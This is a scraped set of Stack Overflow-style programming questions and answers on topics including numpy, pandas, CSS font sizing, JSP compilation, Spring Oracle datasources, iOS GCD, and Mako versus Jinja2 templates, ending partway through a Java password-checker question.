<p>The result is a workspace with a folder containing the mirror and a folder containing the gingerbread branch referencing the mirror where possible.</p>
<p>The other option is to simply initialize and sync the branch you want, then copy the folder to another location and use the copy to initialize and sync again. Repo should only download what's missing.</p>
<h2>Other repo uses:</h2>
<p>Beyond <code>init</code>, repo provides support for passing commands, such as <code>branch</code>, to all the different git repositories in a given manifest so that you don't have to worry about that when working with the code. It also facilitates collaboration by making it easy to submit your local changes to the gerrit code review system. I'm unsure what the official reason for partitioning the AOSP into multiple git repositories is, but I would imagine it was done in order to manage the scaling issues of version control and in order to keep the project robust and fault-tolerant (if someone brakes one git repo it doesn't destroy the entire AOSP). It is also necessary to provide a way that vendors can contribute back to the source and letting them manage their own git repositories which can simply be registered with/into an overarching manifest makes sense. I didn't answer your questions line-item, but hopefully I provided some background.</p> |
15,943,373 | How to see exception detail in debugger without assigning variable to exception? | <p>I want to see exception detail in visual studio debugger without assigning variable to exception. Currently I have to write something like this:</p>
<pre><code>try
{
//some code
}
catch (SecurityException ex)
{
//some code or ever no any code
}
</code></pre>
<p>Visual studio throws an error indicating that ex variable is never used, but i need this variable to see exception detail while debugging.</p>
<p>UPDATE: I know how to suppress VS error 'variable is never used', problem is in seeing exception inside watch without this variable.</p>
<hr />
<p>$exception variable by @VladimirFrolov or exception helper by @MarcGravell is an answer.</p> | 15,943,394 | 7 | 1 | null | 2013-04-11 07:50:11.47 UTC | 6 | 2021-07-20 14:53:32.29 UTC | 2021-07-20 14:53:06.037 UTC | null | 3,195,477 | null | 1,089,277 | null | 1 | 58 | c#|visual-studio|exception | 15,048 | <p>You can see your exception in Locals list or use <code>$exception</code> in Watch list:</p>
<pre><code>try
{
// some code
}
catch (SecurityException)
{ // place breakpoint at this line
}
</code></pre> |
15,649,244 | Responsive font size in CSS | <p>I've created a site using the <strong>Zurb Foundation 3</strong> grid. Each page has a large <code>h1</code>:</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>body {
font-size: 100%
}
/* Headers */
h1 {
font-size: 6.2em;
font-weight: 500;
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><div class="row">
<div class="twelve columns text-center">
<h1> LARGE HEADER TAGLINE </h1>
</div>
<!-- End Tagline -->
</div>
<!-- End Row --></code></pre>
</div>
</div>
</p>
<p>When I resize the browser to mobile size the large font doesn't adjust and causes the browser to include a horizontal scroll to accommodate for the large text.</p>
<p>I've noticed that on the <strong>Zurb Foundation 3</strong> Typography <a href="http://foundation.zurb.com/sites/docs/v/3.2.5/typography.php" rel="noreferrer">example page</a>, the headers adapt to the browser as it is compressed and expanded. </p>
<p>Am I missing something really obvious? How do I achieve this?</p> | 15,649,277 | 33 | 5 | null | 2013-03-26 23:23:13.673 UTC | 176 | 2022-08-15 13:29:32.583 UTC | 2021-11-15 15:52:23.72 UTC | null | 2,756,409 | null | 2,213,682 | null | 1 | 416 | css|responsive-design|zurb-foundation|font-size | 1,241,147 | <p>The <code>font-size</code> won't respond like this when resizing the browser window. Instead they respond to the browser zoom/type size settings, such as if you press <kbd>Ctrl</kbd> and <kbd>+</kbd> together on the keyboard while in the browser.</p>
<p><strong>Media Queries</strong></p>
<p>You would have to look at using <a href="http://www.w3.org/TR/css3-mediaqueries/" rel="noreferrer">media queries</a> to reduce the font-size at certain intervals where it starts breaking your design and creating scrollbars.</p>
<p>For example, try adding this inside your CSS at the bottom, changing the 320 pixels width for wherever your design starts breaking:</p>
<pre><code>@media only screen and (max-width: 320px) {
body {
font-size: 2em;
}
}
</code></pre>
<p><strong>Viewport percentage lengths</strong></p>
<p>You can also use <a href="https://www.w3.org/TR/css3-values/#viewport-relative-lengths" rel="noreferrer">viewport percentage lengths</a> such as <code>vw</code>, <code>vh</code>, <code>vmin</code> and <code>vmax</code>. The official W3C document for this states:</p>
<blockquote>
<p>The viewport-percentage lengths are relative to the size of the initial containing block. When the height or width of the initial containing block is changed, they are scaled accordingly.</p>
</blockquote>
<p>Again, from the same W3C document each individual unit can be defined as below:</p>
<blockquote>
<p>vw unit - Equal to 1% of the width of the initial containing block.</p>
<p>vh unit - Equal to 1% of the height of the initial containing block.</p>
<p>vmin unit - Equal to the smaller of vw or vh.</p>
<p>vmax unit - Equal to the larger of vw or vh.</p>
</blockquote>
<p>And they are used in exactly the same way as any other CSS value:</p>
<pre><code>.text {
font-size: 3vw;
}
.other-text {
font-size: 5vh;
}
</code></pre>
<p>Compatibility is relatively good as can be seen <a href="https://caniuse.com/#search=vw" rel="noreferrer">here</a>. However, some versions of Internet Explorer and Edge don’t support vmax. Also, iOS 6 and 7 have an issue with the vh unit, which was fixed in iOS 8.</p> |
50,646,102 | What is the purpose of numpy.where returning a tuple? | <p>When I run this code:</p>
<pre><code>import numpy as np
a = np.array([1, 2, 3, 4, 5, 6])
print(np.where(a > 2))
</code></pre>
<p>it would be natural to get an array of indices where <code>a > 2</code>, i.e. <code>[2, 3, 4, 5]</code>, but instead we get:</p>
<pre><code>(array([2, 3, 4, 5], dtype=int64),)
</code></pre>
<p>i.e. a tuple with empty second member.</p>
<p>Then, to get the the "natural" answer of <code>numpy.where</code>, we have to do:</p>
<pre><code>np.where(a > 2)[0]
</code></pre>
<p><strong>What's the point in this tuple? In which situation is it useful?</strong></p>
<p>Note: I'm speaking here only about the use case <code>numpy.where(cond)</code> and not <code>numpy.where(cond, x, y)</code> that also exists (see documentation).</p> | 50,646,154 | 3 | 3 | null | 2018-06-01 14:52:09.28 UTC | 3 | 2018-06-01 16:59:52.233 UTC | 2018-06-01 16:59:52.233 UTC | null | 9,209,546 | null | 1,422,096 | null | 1 | 51 | python|arrays|numpy | 27,048 | <p><code>numpy.where</code> returns a tuple because each element of the tuple refers to a dimension.</p>
<p>Consider this example in 2 dimensions:</p>
<pre><code>a = np.array([[1, 2, 3, 4, 5, 6],
[-2, 1, 2, 3, 4, 5]])
print(np.where(a > 2))
(array([0, 0, 0, 0, 1, 1, 1], dtype=int64),
array([2, 3, 4, 5, 3, 4, 5], dtype=int64))
</code></pre>
<p>As you can see, the first element of the tuple refers to the first dimension of relevant elements; the second element refers to the second dimension.</p>
<p>This is a convention <code>numpy</code> often uses. You will see it also when you ask for the shape of an array, i.e. the shape of a 1-dimensional array will return a tuple with 1 element:</p>
<pre><code>a = np.array([[1, 2, 3, 4, 5, 6],
[-2, 1, 2, 3, 4, 5]])
print(a.shape, a.ndim) # (2, 6) 2
b = np.array([1, 2, 3, 4, 5, 6])
print(b.shape, b.ndim) # (6,) 1
</code></pre> |
10,665,889 | How to take column-slices of dataframe in pandas | <p>I load some machine learning data from a CSV file. The first 2 columns are observations and the remaining columns are features.</p>
<p>Currently, I do the following:</p>
<pre><code>data = pandas.read_csv('mydata.csv')
</code></pre>
<p>which gives something like:</p>
<pre><code>data = pandas.DataFrame(np.random.rand(10,5), columns = list('abcde'))
</code></pre>
<p>I'd like to slice this dataframe in two dataframes: one containing the columns <code>a</code> and <code>b</code> and one containing the columns <code>c</code>, <code>d</code> and <code>e</code>.</p>
<p>It is not possible to write something like </p>
<pre><code>observations = data[:'c']
features = data['c':]
</code></pre>
<p>I'm not sure what the best method is. Do I need a <code>pd.Panel</code>?</p>
<p>By the way, I find dataframe indexing pretty inconsistent: <code>data['a']</code> is permitted, but <code>data[0]</code> is not. On the other side, <code>data['a':]</code> is not permitted but <code>data[0:]</code> is.
Is there a practical reason for this? This is really confusing if columns are indexed by Int, given that <code>data[0] != data[0:1]</code></p> | 44,736,467 | 11 | 3 | null | 2012-05-19 14:11:42.603 UTC | 138 | 2021-10-25 22:32:58.293 UTC | 2019-01-22 15:27:56.29 UTC | null | 7,851,470 | null | 1,350,862 | null | 1 | 309 | python|pandas|numpy|dataframe|slice | 621,366 | <h1>2017 Answer - pandas 0.20: .ix is deprecated. Use .loc</h1>
<p>See the <a href="https://pandas.pydata.org/pandas-docs/stable/indexing.html#ix-indexer-is-deprecated" rel="noreferrer">deprecation in the docs</a></p>
<p><code>.loc</code> uses label based indexing to select both rows and columns. The labels being the values of the index or the columns. Slicing with <code>.loc</code> includes the last element. </p>
<blockquote>
<p>Let's assume we have a DataFrame with the following columns:<br>
<code>foo</code>, <code>bar</code>, <code>quz</code>, <code>ant</code>, <code>cat</code>, <code>sat</code>, <code>dat</code>.</p>
</blockquote>
<pre><code># selects all rows and all columns beginning at 'foo' up to and including 'sat'
df.loc[:, 'foo':'sat']
# foo bar quz ant cat sat
</code></pre>
<p><code>.loc</code> accepts the same slice notation that Python lists do for both row and columns. Slice notation being <code>start:stop:step</code></p>
<pre><code># slice from 'foo' to 'cat' by every 2nd column
df.loc[:, 'foo':'cat':2]
# foo quz cat
# slice from the beginning to 'bar'
df.loc[:, :'bar']
# foo bar
# slice from 'quz' to the end by 3
df.loc[:, 'quz'::3]
# quz sat
# attempt from 'sat' to 'bar'
df.loc[:, 'sat':'bar']
# no columns returned
# slice from 'sat' to 'bar'
df.loc[:, 'sat':'bar':-1]
sat cat ant quz bar
# slice notation is syntatic sugar for the slice function
# slice from 'quz' to the end by 2 with slice function
df.loc[:, slice('quz',None, 2)]
# quz cat dat
# select specific columns with a list
# select columns foo, bar and dat
df.loc[:, ['foo','bar','dat']]
# foo bar dat
</code></pre>
<p>You can slice by rows and columns. For instance, if you have 5 rows with labels <code>v</code>, <code>w</code>, <code>x</code>, <code>y</code>, <code>z</code></p>
<pre><code># slice from 'w' to 'y' and 'foo' to 'ant' by 3
df.loc['w':'y', 'foo':'ant':3]
# foo ant
# w
# x
# y
</code></pre> |
10,607,415 | How does jsp work? | <p>I am wondering does JSP ever get compiled ? The reasons why that I am asking is because whenever I deploy my Java EE application on the web server I only see those servlet and beans class file in the WEB-INF folder as they are compiled, but not that JSP, so how does it work, and what's the logical flow and the big picture of the normal request/response cycle.</p> | 10,607,567 | 4 | 4 | null | 2012-05-15 19:21:45.893 UTC | 9 | 2016-12-31 16:41:01.84 UTC | 2012-05-15 19:35:25.503 UTC | null | 157,882 | null | 1,389,813 | null | 1 | 25 | java|jsp | 34,596 | <p>Basically:</p>
<ul>
<li><p>In your servlet container, the JSP servlet is mapped to any URL that ends in <code>.jsp</code> (usually)</p></li>
<li><p>When one of those <code>.jsp</code> URLs is requested, the request goes to the JSP servlet. Then, this servlet checks if the JSP is already compiled.</p></li>
<li><p>If the JSP is not compiled yet, the JSP servlet translates the JSP to some Java source code implementing the <code>Servlet</code> interface. Then it compiles this Java source code to a <code>.class</code> file. This <code>.class</code> file usually is located somewhere in the servlet container's work directory for the application.</p></li>
<li><p>Once the JSP servlet has compiled the servlet class from the JSP source code, it just forwards the request to this servlet class.</p></li>
</ul>
<p>The thing is, unless you specifically precompile your JSP, all this happens at runtime, and hidden in the servlet container's work directory, so it is "invisible". Also have in mind that this is what happens "conceptually", several optimizations are possible in this workflow.</p> |
10,682,087 | How to redirect console output to a text file | <p>I am executing a Perl program. Whatever is being printed on my console, I want to redirect
that to a text file.</p> | 10,682,165 | 4 | 6 | null | 2012-05-21 08:49:39.477 UTC | 5 | 2018-03-04 22:55:36.837 UTC | 2012-05-21 13:15:19.2 UTC | null | 835,945 | null | 1,353,232 | null | 1 | 11 | perl|command-line | 57,020 | <p>The preferred method for this is to handle redirection via the command line, e.g.</p>
<pre><code>perl -w my_program.pl > my_output.txt
</code></pre>
<p>If you want to also include stderr output then you can do this (assuming your shell is bash):</p>
<pre><code>perl -w my_program.pl &> my_output.txt
</code></pre> |
10,373,318 | Mixing in a trait dynamically | <p>Having a trait</p>
<pre><code>trait Persisted {
def id: Long
}
</code></pre>
<p>how do I implement a method that accepts an instance of any case class and returns its copy with the trait mixed in?</p>
<p>The signature of the method looks like:</p>
<pre><code>def toPersisted[T](instance: T, id: Long): T with Persisted
</code></pre> | 10,387,200 | 5 | 6 | null | 2012-04-29 15:23:03.627 UTC | 21 | 2016-07-14 16:41:36.78 UTC | 2012-04-29 16:13:16.66 UTC | null | 485,115 | null | 485,115 | null | 1 | 38 | scala|mixins|case-class|traits | 11,513 | <p>This can be done with macros (that are officially a part of Scala since 2.10.0-M3). <a href="https://gist.github.com/2559714" rel="nofollow noreferrer">Here's a gist example of what you are looking for</a>.</p>
<p>1) My macro generates a local class that inherits from the provided case class and Persisted, much like <code>new T with Persisted</code> would do. Then it caches its argument (to prevent multiple evaluations) and creates an instance of the created class.</p>
<p>2) How did I know what trees to generate? I have a simple app, parse.exe that prints the AST that results from parsing input code. So I just invoked <code>parse class Person$Persisted1(first: String, last: String) extends Person(first, last) with Persisted</code>, noted the output and reproduced it in my macro. parse.exe is a wrapper for <code>scalac -Xprint:parser -Yshow-trees -Ystop-after:parser</code>. There are different ways to explore ASTs, read more in <a href="http://scalamacros.org/talks/2012-04-28-MetaprogrammingInScala210.pdf" rel="nofollow noreferrer">"Metaprogramming in Scala 2.10"</a>.</p>
<p>3) Macro expansions can be sanity-checked if you provide <code>-Ymacro-debug-lite</code> as an argument to scalac. In that case all expansions will be printed out, and you'll be able to detect codegen errors faster.</p>
<p>edit. Updated the example for 2.10.0-M7</p> |
10,440,412 | Perform on Next Run Loop: What's Wrong With GCD? | <p>I'm trying these two approaches:</p>
<pre><code>dispatch_async(dispatch_get_main_queue(),^{
[self handleClickAsync];
});
</code></pre>
<p>and</p>
<pre><code>[self performSelector:@selector(handleClickAsync) withObject:nil afterDelay:0];
</code></pre>
<p>in response to a button press.</p>
<p>The second allows the <code>UIButton</code> to highlight as one would expect and perform the <code>handleClickAsync</code> on the next run loop (I suppose: "sometime later" for sure). The first does not allow the <code>UIButton</code> instance to light up until the operation is completely done.</p>
<p>What is the correct way to do this with GCD, or is <code>performSelector</code> still the only way?</p> | 10,450,867 | 2 | 11 | null | 2012-05-03 22:52:40.6 UTC | 18 | 2015-05-14 14:21:40.143 UTC | 2012-05-03 22:57:47.383 UTC | null | 1,155,000 | null | 8,047 | null | 1 | 30 | objective-c|ios|asynchronous|grand-central-dispatch | 15,776 | <p>I believe the answer is found here in a <a href="https://developer.apple.com/library/mac/documentation/General/Conceptual/ConcurrencyProgrammingGuide/OperationQueues/OperationQueues.html#//apple_ref/doc/uid/TP40008091-CH102-SW2">discussion of the main dispatch queue</a>:</p>
<blockquote>
<p>This queue works with the application’s run loop (if one is present) to interleave the execution of queued tasks with the execution of other event sources attached to the run loop.</p>
</blockquote>
<p>In other words, the main dispatch queue sets up a secondary queue (alongside the standard event queue provided by <code>UIApplicationMain()</code> for handling blocks submitted to the main queue.
When blocks are present in the queue, the run loop will alternate dequeuing tasks from the main event queue and the dispatch queue. On the other hand, the <a href="https://developer.apple.com/library/mac/documentation/Cocoa/Reference/Foundation/Classes/nsobject_Class/Reference/Reference.html#//apple_ref/doc/uid/20000050-performSelector_withObject_afterDelay_">reference</a> for the <code>delay</code> parameter of <code>-performSelector:withObject:afterDelay:</code> notes that:</p>
<blockquote>
<p>Specifying a delay of 0 does not necessarily cause the selector to be performed immediately. The selector is still queued on the thread’s run loop and performed as soon as possible.</p>
</blockquote>
<p>Thus, when you use perform selector, the operation is queued at the end of the main event queue, and will not be performed until after everything in front of it in the queue (presumably including the code to unhighlight the <code>UIButton</code>) has been processed. When you use the main dispatch queue, however, it adds the block into the secondary queue which then likely gets processed immediately (i.e., on the next run loop) assuming there are no other blocks in the main queue. In this case, the code to unhighlight the button is still sitting in the main event queue while the run loop processes the event from the secondary block queue.</p> |
40,316,341 | angular 2 include html templates | <p>in angular 2 I need to create a large html-template with redundant parts.
Therefore I want to create multiple html-templates and put them together by including them in the main html-file (like ng-include in angular1)</p>
<p>But how can I include sub-templates in the main-template?</p>
<p>example:</p>
<pre><code><!-- test.html -->
<div>
this is my Sub-Item
<!-- include sub1.html here-->
</div>
<div>
this is second Sub-Item
<!-- include sub2.html here-->
</div>
</code></pre>
<p>-</p>
<pre><code><!-- sub1.html -->
<div>
<button>I'am sub1</button>
</div>
</code></pre>
<p>-</p>
<pre><code><!-- sub2.html -->
<div>
<div>I'am sub2</div>
</div>
</code></pre> | 40,316,659 | 2 | 8 | null | 2016-10-29 05:33:32.577 UTC | 3 | 2016-10-29 06:28:53.35 UTC | null | null | null | null | 1,969,353 | null | 1 | 21 | html|angular | 38,621 | <p>You can create components like sub1 sub2 etc. And On those child components add these html files as template .</p>
<p>On main html call the component selectors respectively. It will work </p> |
13,326,351 | Uncaught ReferenceError: e is not defined | <p>I am trying to do this:</p>
<pre><code>$("#canvasDiv").mouseover(function() {
var pageCoords = "( " + e.pageX + ", " + e.pageY + " )";
var clientCoords = "( " + e.clientX + ", " + e.clientY + " )";
$(".filler").text("( e.pageX, e.pageY ) : " + pageCoords);
$(".filler").text("( e.clientX, e.clientY ) : " + clientCoords);
});
</code></pre>
<p>and in the console I get this:</p>
<blockquote>
<p><code>Uncaught ReferenceError: e is not defined</code></p>
</blockquote>
<p>I don't understand... I thought <code>e</code> is supposed to be a variable that JavaScript has already set...help?</p> | 13,326,360 | 3 | 2 | null | 2012-11-10 21:41:55.127 UTC | 2 | 2012-12-28 02:44:58.887 UTC | 2012-11-10 22:00:09.94 UTC | null | 701,092 | null | 1,443,346 | null | 1 | 6 | jquery | 45,047 | <p>Change</p>
<pre><code>$("#canvasDiv").mouseover(function() {
</code></pre>
<p>to</p>
<pre><code>$("#canvasDiv").mouseover(function(e) {
</code></pre>
<p>True, the first parameter to the callback is pre-defined, but in order to use it you must alias it through an argument name. That's why we specify <code>e</code> as the argument. In fact, it's not required that the argument name is <code>e</code>. This will work too:</p>
<pre><code>$('#canvasDiv').mouseover(function( event ) {
});
</code></pre>
<p>But you must alias the event object through the name <code>event</code> in the function callback.</p> |
13,278,590 | Combine values from related rows into a single concatenated string value | <p>I'm trying to aggregate some instructor data (to easily show which courses an instructor taught in a semester), and up until now I've just accepted having multiple rows for each instructor. However, it would be beneficial to some business processes if I could have all of an instructor's teaching in a single row. Here is some example data (my tables have a lot more columns, but the general idea won't change much.</p>
<p>tbl_Instructors has:</p>
<pre><code> N_ID | F_Name | L_Name
001 Joe Smith
002 Henry Fonda
003 Lou Reed
</code></pre>
<p>tbl_Courses has:</p>
<pre><code> Course_ID | N_ID | Course_Info
AAA 001 PHYS 1
AAB 001 PHYS 2
CCC 002 PHYS 12
DDD 003 PHYS 121
FFF 003 PHYS 224
</code></pre>
<p>What I want to return is:</p>
<pre><code> N_ID | First_Name | Last_Name | Course_IDs
001 Joe Smith AAA, AAB
002 Henry Fonda CCC
003 Lou Reed DDD, FFF
</code></pre>
<p>I think I need to do something with selecting all N_IDs from tbl_Instructors, then returning the Course_IDs from tbl_Courses via concatenation, but that magic step has alluded me. Any help? Can I do this via SQL selects or will I need to use VB?</p> | 13,280,353 | 1 | 4 | null | 2012-11-07 21:31:10.687 UTC | 2 | 2018-01-07 18:38:23.237 UTC | 2013-12-01 17:03:09.13 UTC | null | 2,144,390 | null | 1,739,473 | null | 1 | 11 | ms-access | 48,190 | <p>This is easy using Allen Browne's <a href="http://allenbrowne.com/func-concat.html">ConcatRelated()</a> function. Copy the function from that web page and paste it into an Access standard code module. </p>
<p>Then this query will return what you asked for.</p>
<pre><code>SELECT
i.N_ID,
i.F_Name,
i.L_Name,
ConcatRelated(
"Course_ID",
"tbl_Courses",
"N_ID = '" & [N_ID] & "'"
) AS Course_IDs
FROM tbl_Instructors AS i;
</code></pre>
<p>Consider changing the data type of <code>N_ID</code> from text to numeric in both tables. If you do that, you don't need the single quotes in the third argument to that <code>ConcatRelated()</code> expression.</p>
<pre><code>"N_ID = " & [N_ID]
</code></pre>
<p>And whenever you need <code>N_ID</code> displayed with leading zeros, use a <code>Format()</code> expression.</p>
<pre><code>Format(N_ID, "000")
</code></pre> |
13,388,045 | Oracle data-source configuration for Spring | <p>In the Spring framework, how is an Oracle data-source configured?</p> | 13,388,046 | 4 | 0 | null | 2012-11-14 21:55:25.12 UTC | 7 | 2019-04-17 16:17:59.12 UTC | null | null | null | null | 640,378 | null | 1 | 18 | oracle|spring|datasource | 62,753 | <p>In the <em>context.xml</em> file:</p>
<pre><code><bean id="dataSource" class="oracle.jdbc.pool.OracleDataSource">
<property name="dataSourceName" value="ds"/>
<property name="URL" value="jdbc:oracle:thin:@<hostname>:<port_num>:<SID>"/>
<property name="user" value="dummy_user"/>
<property name="password" value="dummy_pwd"/>
</bean>
</code></pre>
<p><strong>Example of URL:</strong> jdbc:oracle:thin:@abc.def.ghi.com:1234:TEAM4</p> |
13,626,432 | Assign if variable is set | <p>In PHP I find myself writing code like this frequently:</p>
<pre><code>$a = isset($the->very->long->variable[$index])
? $the->very->long->variable[$index]
: null;
</code></pre>
<p>Is there a simpler way to do this? Preferably one that doesn't require me to write <code>$the->very->long->variable[$index]</code> twice.</p> | 13,626,490 | 5 | 5 | null | 2012-11-29 13:01:59.123 UTC | 9 | 2017-08-29 20:35:51.893 UTC | 2012-11-29 16:09:52.56 UTC | null | 367,456 | null | 919,705 | null | 1 | 30 | php|variables | 17,276 | <p>Sadly no, because the <a href="https://wiki.php.net/rfc/ifsetor">RFC</a> has been declined. And because <a href="http://php.net/manual/en/function.isset.php">isset</a> is not a function but a language construct you cannot write your own function for this case.</p>
<blockquote>
<p>Note: Because this is a language construct and not a function, it cannot be called using variable functions.</p>
</blockquote> |
13,487,124 | android splash screen sizes for ldpi,mdpi, hdpi, xhdpi displays ? - eg : 1024X768 pixels for ldpi | <p>I have to design splash screens(images that fit screen while loading) for android application using phonegap. I have to design 4 size images that fit for 4types of screens like ldpi, mdpi , hdpi, xhdpi . Can anyone tell me exact sizes in pixels for these screens so I can design in that size ?</p>
<p>Example answer : </p>
<pre><code>ldpi - 1024X768 px
mdpi - 111 X 156 px
We support ldpi, mdpi, hdpi and xhdpi displays; the following will define splash screens for each specific screen type.
<gap:splash src="splash/android/ldpi.png" gap:platform="android" gap:density="ldpi" />
<gap:splash src="splash/android/mdpi.png" gap:platform="android" gap:density="mdpi" />
<gap:splash src="splash/android/hdpi.png" gap:platform="android" gap:density="hdpi" />
<gap:splash src="splash/android/xhdpi.png" gap:platform="android" gap:density="xhdpi" />
</code></pre> | 13,487,218 | 7 | 1 | null | 2012-11-21 05:47:35.893 UTC | 89 | 2018-10-17 10:50:53.233 UTC | 2018-10-17 10:50:53.233 UTC | null | 3,623,128 | null | 1,767,962 | null | 1 | 118 | android|splash-screen|pixel-density | 298,078 | <p>There can be any number of different screen sizes due to Android having no set standard size so as a guide you can use the minimum screen sizes, which are provided by Google. </p>
<p>According to Google's statistics the majority of ldpi displays are small screens and the majority of mdpi, hdpi, xhdpi and xxhdpi displays are normal sized screens.</p>
<ul>
<li>xlarge screens are at least 960dp x 720dp </li>
<li>large screens are at least 640dp x 480dp </li>
<li>normal screens are at least 470dp x 320dp</li>
<li>small screens are at least 426dp x 320dp</li>
</ul>
<p>You can view the statistics on the relative sizes of devices on Google's dashboard which is <a href="https://developer.android.com/about/dashboards/index.html#Screens" rel="noreferrer">available here</a>.</p>
<p>More information on multiple screens can be found <a href="http://developer.android.com/guide/practices/screens_support.html" rel="noreferrer">here</a>.</p>
<h2>9 Patch image</h2>
<p>The best solution is to create a nine-patch image so that the image's border can stretch to fit the size of the screen without affecting the static area of the image.</p>
<p><a href="http://developer.android.com/guide/topics/graphics/2d-graphics.html#nine-patch" rel="noreferrer">http://developer.android.com/guide/topics/graphics/2d-graphics.html#nine-patch</a></p> |
13,279,105 | Access Container View Controller from Parent iOS | <p>in iOS6 I noticed the new Container View but am not quite sure how to access it's controller from the containing view.</p>
<p>Scenario:</p>
<p><img src="https://i.stack.imgur.com/aNOLJ.png" alt="example"></p>
<p>I want to access the labels in Alert view controller from the view controller that houses the container view.</p>
<p>There's a segue between them, can I use that?</p> | 13,279,703 | 11 | 1 | null | 2012-11-07 22:07:28.517 UTC | 54 | 2019-11-19 00:53:34.087 UTC | 2019-11-19 00:53:34.087 UTC | null | 213,269 | null | 1,050,447 | null | 1 | 211 | ios|objective-c|swift|uiviewcontroller|uicontainerview | 94,819 | <p>Yes, you can use the segue to get access the child view controller (and its view and subviews). Give the segue an identifier (such as <code>alertview_embed</code>), using the Attributes inspector in Storyboard. Then have the parent view controller (the one housing the container view) implement a method like this:</p>
<pre><code>- (void) prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender
{
NSString * segueName = segue.identifier;
if ([segueName isEqualToString: @"alertview_embed"]) {
AlertViewController * childViewController = (AlertViewController *) [segue destinationViewController];
AlertView * alertView = childViewController.view;
// do something with the AlertView's subviews here...
}
}
</code></pre> |
39,489,925 | Swift 3 UIView animation | <p>Since upgrading my project to swift 3 my autolayout constraint animations aren't working; to be more specific, they're snapping to the new position rather than animating.</p>
<pre><code>UIView.animate(withDuration: 0.1,
delay: 0.1,
options: UIViewAnimationOptions.curveEaseIn,
animations: { () -> Void in
constraint.constant = ButtonAnimationValues.YPosition.DefaultOut()
self.layoutIfNeeded()
}, completion: { (finished) -> Void in
// ....
})
</code></pre>
<p>I know they added the <code>UIViewPropertyAnimator</code> class but am yet to try it.</p> | 39,603,508 | 6 | 4 | null | 2016-09-14 12:00:04.797 UTC | 4 | 2021-03-15 09:41:09.85 UTC | 2016-09-14 12:08:10.547 UTC | null | 2,108,547 | null | 1,389,369 | null | 1 | 21 | ios|swift|uiview|uiviewanimation|swift3 | 48,600 | <p>I had this problem too with the newest update to swift 3. </p>
<p>To be exact, whenever you want to animate the view, you actually call layoutIfNeeded on the superview of that view. </p>
<p>Try this instead:</p>
<pre><code>UIView.animate(withDuration: 0.1,
delay: 0.1,
options: UIViewAnimationOptions.curveEaseIn,
animations: { () -> Void in
constraint.constant = ButtonAnimationValues.YPosition.DefaultOut()
self.superview?.layoutIfNeeded()
}, completion: { (finished) -> Void in
// ....
})
</code></pre>
<p>It seems in the past they've been lenient about being able to just relayout the view you want to animate. But its in the documentation that you should really be calling layoutIfNeeded in the superview.</p> |
3,272,999 | Install Ruby support for VIM on Mac OS X | <p>Mac OS X 10.6 (Snow Leopard) has VIM pre-installed (version 7.2), which is great.</p>
<p>It also has Ruby pre-installed (version 1.8.7) which is great too.</p>
<p>However, I want Ruby autocompletion in VIM. Looking up the VIM version (vim --version) shows -ruby (i.e. ruby support isn't enabled).</p>
<p>How to enable ruby for my VIM installation?</p> | 3,273,078 | 2 | 0 | null | 2010-07-17 19:43:11.64 UTC | 4 | 2011-11-23 11:01:09.167 UTC | null | null | null | null | 394,818 | null | 1 | 28 | ruby|macos|vim|autocomplete|osx-snow-leopard | 12,256 | <p>While it's possible to build and install your own Vim to replace the pre-installed version, I don't recommend it. It's far easier to just use MacVim instead:</p>
<p><a href="http://code.google.com/p/macvim/" rel="noreferrer">http://code.google.com/p/macvim/</a></p>
<p>MacVim is a very Mac-friendly version of Vim, and it's got Ruby support already built in. It can be used as both a GUI and Terminal application. (Check out <code>:help macvim-start</code> from within MacVim for details.)</p> |
3,435,972 | Mako or Jinja2? | <p>I didn't find a good comparison of jinja2 and Mako. What would you use for what tasks ? </p>
<p>I personnaly was satisfied by mako (in a pylons web app context) but am curious to know if jinja2 has some nice features/improvements that mako doesn't ? -or maybe downsides ?-</p> | 3,436,091 | 2 | 0 | null | 2010-08-08 20:35:22.013 UTC | 9 | 2021-04-17 15:50:43.603 UTC | 2010-08-08 20:37:58.45 UTC | null | 135,724 | null | 212,044 | null | 1 | 50 | python|templates|template-engine|mako|jinja2 | 36,613 | <p>I personally prefer Jinja2's syntax over Mako's. Take this example from the <a href="http://www.makotemplates.org/" rel="noreferrer">Mako website</a></p>
<pre><code><%inherit file="base.html"/>
<%
rows = [[v for v in range(0,10)] for row in range(0,10)]
%>
<table>
% for row in rows:
${makerow(row)}
% endfor
</table>
<%def name="makerow(row)">
<tr>
% for name in row:
<td>${name}</td>\
% endfor
</tr>
</%def>
</code></pre>
<p>There are so many constructs here that I would have to consult the documentation before I could even begin. Which tags begin like <code><%</code> and close with <code>/></code>? Which of those are allowed to close with <code>%></code>? Why is there yet another way to enter the template language when I want to output a variable (<code>${foo}</code>)? What's with this <em>faux</em> XML where some directives close like tags and have attributes?</p>
<p>This is the equivalent example in Jinja2:</p>
<pre><code>{% extends "base.html" %}
<table>
{% for row in rows %}
{{ makerow(row) }}
{% endfor %}
</table>
{% macro make_row(row) %}
<tr>
{% for name in row %}
<td>{{ name }}</td>
{% endfor %}
</tr>
{% endmacro %}
</code></pre>
<p>Jinja2 has filters, which I'm told Mako also has but I've not seen them. Filter functions don't act like regular functions, they take an implicit first parameter of the value being filtered. Thus in Mako you might write:</p>
<pre><code>${escape(default(get_name(user), "No Name"))}
</code></pre>
<p>That's horrible. In Jinja2 you would write:</p>
<pre><code>{{ user | get_name | default('No Name') | escape }}
</code></pre>
<p>In my opinion, the Jinja2 examples are exceedingly more readable. Jinja2's more regular, in that tags begin and end in a predictable way, either with <code>{% %}</code> for processing and control directives, or <code>{{ }}</code> for outputting variables.</p>
<p>But these are all personal preferences. I don't know of one more substantial reason to pick Jinja2 over Mako or vice-versa. And Pylons is great enough that you can use either!</p>
<p><strong>Update</strong> included Jinja2 macros. Although contrived in any case, in my opinion the Jinja2 example is easier to read and understand. Mako's guiding philosophy is "Python is a great scripting language. Don't reinvent the wheel...your templates can handle it!" But Jinja2's macros (the entire language, actually) look more like Python that Mako does!</p> |
16,127,923 | Checking letter case (Upper/Lower) within a string in Java | <p>The problem that I am having is that I can't get my Password Verification Program to check a string to ensure that, 1 of the characters is in upper case and one is in lower case, it will check the whole string for one of the other and print the error message based on which statement it is checking.</p>
<p>I have looked over this site and the internet for an answer and I am unable to find one. This is homework.</p>
<p>Below is my current code.</p>
<pre><code>import java.util.Scanner;
public class password
{
public static void main(String[] args)
{
Scanner stdIn = new Scanner(System.in);
String password;
String cont = "y";
char ch;
